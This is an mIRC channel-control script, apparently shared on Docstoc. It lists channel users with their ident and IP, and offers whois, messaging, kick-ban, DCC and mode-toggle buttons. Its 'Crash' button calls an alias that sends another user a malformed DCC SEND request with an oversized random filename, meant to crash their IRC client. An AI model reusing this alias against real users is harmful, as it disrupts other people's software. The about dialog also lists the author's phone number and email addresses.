Docstoc

control whois

Document Sample
control whois Powered By Docstoc
					dialog Dock_Next {
  title "Nicks and Channel Control Dlialog.. By ViRuS"
  size -1 -1 349 194
  option dbu
  combo 1, 49 9 70 131, size drop
  text "Select Channel:", 2, 8 10 38 8
  list 3, 43 36 56 146, size
  link "Nick Names:", 4, 57 28 30 8
  list 5, 308 36 37 147, size
  link "Ident + Ip Address\Vhost:", 6, 110 29 65 8
  list 7, 99 36 89 146, size
  list 8, 188 36 120 146, size
  button "Whois", 9, 3 37 37 12, flat
  button "Query", 10, 3 50 37 12, flat
  button "Notice", 11, 3 63 37 12, flat
  button "Msg", 12, 3 76 37 12, flat
  button "Ping", 13, 3 89 37 12, flat
  button "Chat", 14, 3 102 37 12, flat
  button "Crash", 15, 3 141 37 12, flat
  button "Kick Ban", 16, 3 128 37 12, flat
  button "Send file", 17, 3 115 37 12, flat
  button "About as", 18, 3 154 37 12, flat
  link "Realname:", 20, 231 29 28 8
  link "Connection:", 21, 310 28 30 8
  button "Modes", 22, 3 167 37 12, flat
  button "Ok", 23, 127 4 218 10, cancel
  button "Cancel", 24, 128 15 218 10, ok
  edit "", 25, 43 182 303 10, read
  text "NickName:", 26, 10 182 25 8
}
raw 352:*:{
  if ($dialog(dock_next) !== $null && *#* iswm $left($2,1)) {
    did -a dock_next 3 $6
    did -a dock_next 7 $3 $+ @ $+ $4
    did -a dock_next 8 $remove($9-,, ,-
, , 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15)
    did -a dock_next 5 $chkcode($4)
    halt
  }
}
Menu Channel,query {
  -
  === ÇáÊÍßã Ýí ÇáíæÒÑÇÊ ===:DNchan
  -
}
alias DNchan { dialog -m dock_Next dock_next | set %num $channel(0) |
//var %i = 1 | while (%i <= $channel(0)) { did -a dock_Next 1
$Channel(%i) | inc %i } }
alias clearl {
  did -r dock_next 3,7,8,5
}
on 1:dialog:dock_next:sclick:3:set %DNnick $did(dock_Next,3).seltext |
did -r dock_next 25 | did -a dock_Next 25 %dnnick ...
$remove($address(%dnnick,3),*!*) ....
$chkcode($remove($address(%DNnick,3),*!*)) \ $+ Total in Channel:
$nick($did(dock_next,1),0) $+ \
on 1:dialog:dock_Next:Sclick:1:clearl | who $did(dock_Next,1)
on *:dialog:dock_next:sclick:9:whois %DNnick
on *:dialog:dock_next:sclick:10:query %DNnick
on *:dialog:dock_next:sclick:11:notice %DNnick $$?"enter msg"
on *:dialog:dock_next:sclick:12:msg %DNnick $$?"enter msg"
on *:dialog:dock_next:sclick:13:ctcp %DNnick ping
on *:dialog:dock_next:sclick:14:dcc chat %DNnick
on *:dialog:dock_next:sclick:15:crash %DNnick
on *:dialog:dock_next:sclick:16:kick $comchan(%DNnick,1) %DNnick $$?"Msg"
| mode $comchan(%DNnick,1) +b $address(%dnnick,2)
on *:dialog:dock_next:sclick:17:dcc send %DNnick
on *:dialog:dock_next:sclick:18:dialog -m abouts abouts
on *:dialog:dock_next:sclick:22:chatsmode

alias chatsmode dialog -m chatmode chatmode | setDNnick
alias setdnnick { did -a chatmode 53 %dnnick | did -a chatmode 69 %dnnick
| did -a chatmode 55 %dnnick }
alias crash { raw PRIVMSG $1 $+(:,$chr(1),DCC) send " $+ $str($rand(a,z)
$+ $chr(32),250) $+ " 0 2130706433 $+(8192,$chr(1)) }

dialog abouts {
  title "abouts"
  size -1 -1 186 105
  option dbu
  text "Hi Dear,,", 1, 7 9 25 8
  text "Thanx For Useing This Command and have a fun", 2, 33 20 119 8
  text "If You Have any Question Or if You See any Error in This
command", 3, 12 31 167 8
  text "You Can Contact With me On", 4, 51 42 73 8
  link "0020103128817", 5, 46 54 88 8
  text "Tele:", 6, 26 54 17 8
  text "Msn:", 7, 30 70 12 8
  link "basem-4@hotmail.com", 8, 45 67 61 8
  link "basem-1@hotmail.com", 9, 45 76 54 8
  text "Web Site", 10, 19 90 25 8
  link "EgyptScript.4t.Com", 11, 46 90 54 8
  link "#ãÕÑ", 12, 145 54 27 8
  text "Made By: basem", 13, 118 95 63 8
}
dialog Chatmode {
  title "Mode Control ,, Made By Next .....ChatelatY."
  size -1 -1 175 157
  option dbu
  check "+i", 14, 41 24 24 10
  check "-i", 15, 72 23 15 10
  text "Invite", 17, 6 25 32 8
  text "Limit", 25, 6 35 32 8
  check "+l", 27, 41 34 26 10
  check "-l", 28, 72 33 15 10
  text "Moderated", 29, 6 45 32 8
  check "+m", 31, 41 44 26 10
  check "-m", 32, 72 43 17 10
    check "+o", 35, 41 54 26 10
    check "-o", 36, 72 53 16 10
    text "Voice", 37, 6 65 32 8
    check "+v", 39, 41 64 26 10
    check "-v", 40, 72 63 16 10
    text "Secret", 41, 6 75 32 8
    check "+s", 43, 41 74 26 10
    check "-s", 44, 72 73 16 10
    text "Colors", 45, 6 85 32 8
    check "+c", 47, 41 84 26 10
    check "-c", 48, 72 83 17 10
    edit "", 49, 113 34 23 10
    text "Limit to:", 50, 92 35 21 8
    text "Users", 51, 138 35 15 8
    text "Operator", 52, 7 55 32 8
    edit "", 53, 117 53 53 10
    text "nickname:", 54, 92 54 25 8
    edit "", 55, 117 64 53 10
    text "nickname:", 56, 92 65 25 8
    text "Banned", 58, 6 95 32 8
    check "-b", 59, 72 93 16 10
    check "+b", 60, 41 94 26 10
    text "Key", 62, 6 105 32 8
    check "-k", 63, 72 103 16 10
    check "+k", 64, 41 104 26 10
    text "R", 66, 6 115 32 8
    check "-R", 67, 72 113 16 10
    check "+R", 68, 41 114 26 10
    edit "", 69, 117 93 53 10
    text "nickname:", 70, 92 94 25 8
    text "M", 72, 6 125 32 8
    check "+M", 73, 41 125 26 10
    check "-M", 74, 72 124 17 10
    edit "", 75, 117 104 53 10
    text "keyWord:", 76, 92 105 25 8
    check "+O", 78, 41 135 26 10
    check "-O", 79, 72 134 17 10
    text "O", 80, 6 135 32 8
    text "Onle admins Can use this mode", 81, 90 135 81 8, center
    box "Mode Control", 82, 2 17 171 130
    button "OK", 84, 5 2 167 13, flat ok
    link "ChatelatY", 86, 85 148 27 8
    text "Stamp:", 88, 66 148 18 8
}

on 1:dialog:chatmode:sclick:*:{
  if ($did == 15) {
    if ($did(15).state == 1) {
      did -u chatmode 14 | mode $did(dock_Next,1) -i
    }
  }
  if ($did == 14) {
    if ($did(14).state == 1) {
      did -u chatmode 15 | mode $did(dock_Next,1) +i
    }
}

if ($did == 27) {
  if ($did(27).state == 1) {
    set %lim $did(chatmode,49)
    did -u chatmode 28 | mode $did(dock_Next,1) +l %lim
    unset %lim
  }
}
if ($did == 28) {
  if ($did(28).state == 1) {
    did -u chatmode 27 | mode $did(dock_Next,1) -l
  }
}

if ($did == 31) {
  if ($did(31).state == 1) {
    did -u chatmode 32 | mode $did(dock_Next,1) +m
  }
}

if ($did == 32) {
  if ($did(32).state == 1) {
    did -u chatmode 31 | mode $did(dock_Next,1) -m
  }
}

if ($did == 35) {
  if ($did(35).state == 1) {
    set %chatop $did(chatmode,53)
    did -u chatmode 36 | mode $did(dock_Next,1) +o %chatop
    unset %chatop
  }
}

if ($did == 36) {
  if ($did(36).state == 1) {
    set %chatop $did(chatmode,53)
    did -u chatmode 35 | mode $did(dock_Next,1) -o %chatop
    unset %chatop
  }
}

if ($did == 39) {
  if ($did(39).state == 1) {
    set %chatv $did(chatmode,55)
    did -u chatmode 40 | mode $did(dock_Next,1) +v %chatv
    unset %chatv
  }
}

if ($did == 40) {
  if ($did(40).state == 1)   {
        set %chatv $did(chatmode,55)
        did -u chatmode 39 | mode $did(dock_Next,1) -v %chatv
        unset %chatv
    }
}

if ($did == 43) {
  if ($did(43).state == 1) {
    did -u chatmode 44 | mode $did(dock_Next,1) +s
  }
}

if ($did == 44) {
  if ($did(44).state == 1) {
    did -u chatmode 43 | mode $did(dock_Next,1) -s
  }
}

if ($did == 47) {
  if ($did(47).state == 1) {
    did -u chatmode 48 | mode $did(dock_Next,1) +c
  }
}

if ($did == 48) {
  if ($did(48).state == 1) {
    did -u chatmode 47 | mode $did(dock_Next,1) -c
  }
}

if ($did == 59) {
  if ($did(59).state == 1) {
    set %chatban $did(chatmode,69)
    did -u chatmode 60 | mode $did(dock_Next,1) -b $address(%chatban,2)
    unset %chatban
  }
}
if ($did == 60) {
  if ($did(59).state == 1) {
    set %chatban $did(chatmode,69)
    did -u chatmode 59 | mode $did(dock_Next,1) +b $address(%chatban,2)
    unset %chatban
  }
}

if ($did == 63) {
  if ($did(63).state == 1) {
    set %chatk $did(chatmode,75)
    did -u chatmode 64 | mode $did(dock_Next,1) -k %chatk
    unset %chatban
  }
}

if ($did == 64) {
        if ($did(64).state == 1) {
          set %chatk $did(chatmode,75)
          did -u chatmode 63 | mode $did(dock_Next,1) +k %chatk
          unset %chatk
        }
    }

    if ($did == 67) {
      if ($did(67).state == 1) {
        did -u chatmode 68 | mode $did(dock_Next,1) -R
      }
    }

    if ($did == 68) {
      if ($did(68).state == 1) {
        did -u chatmode 67 | mode $did(dock_Next,1) +R
      }
    }


    if ($did == 73) {
      if ($did(73).state == 1) {
        did -u chatmode 74 | mode $did(dock_Next,1) +M
      }
    }


    if ($did == 74) {
      if ($did(74).state == 1) {
        did -u chatmode 73 | mode $did(dock_Next,1) -M
      }
    }

    if ($did == 78) {
      if ($did(78).state == 1) {
        did -u chatmode 79 | mode $did(dock_Next,1) +O
      }
    }

    if ($did == 79) {
      if ($did(79).state == 1) {
        did -u chatmode 78 | mode $did(dock_Next,1) -M
      }
    }


}

				
DOCUMENT INFO
Shared By:
Categories:
Tags:
Stats:
views:0
posted:11/1/2012
language:Latin
pages:6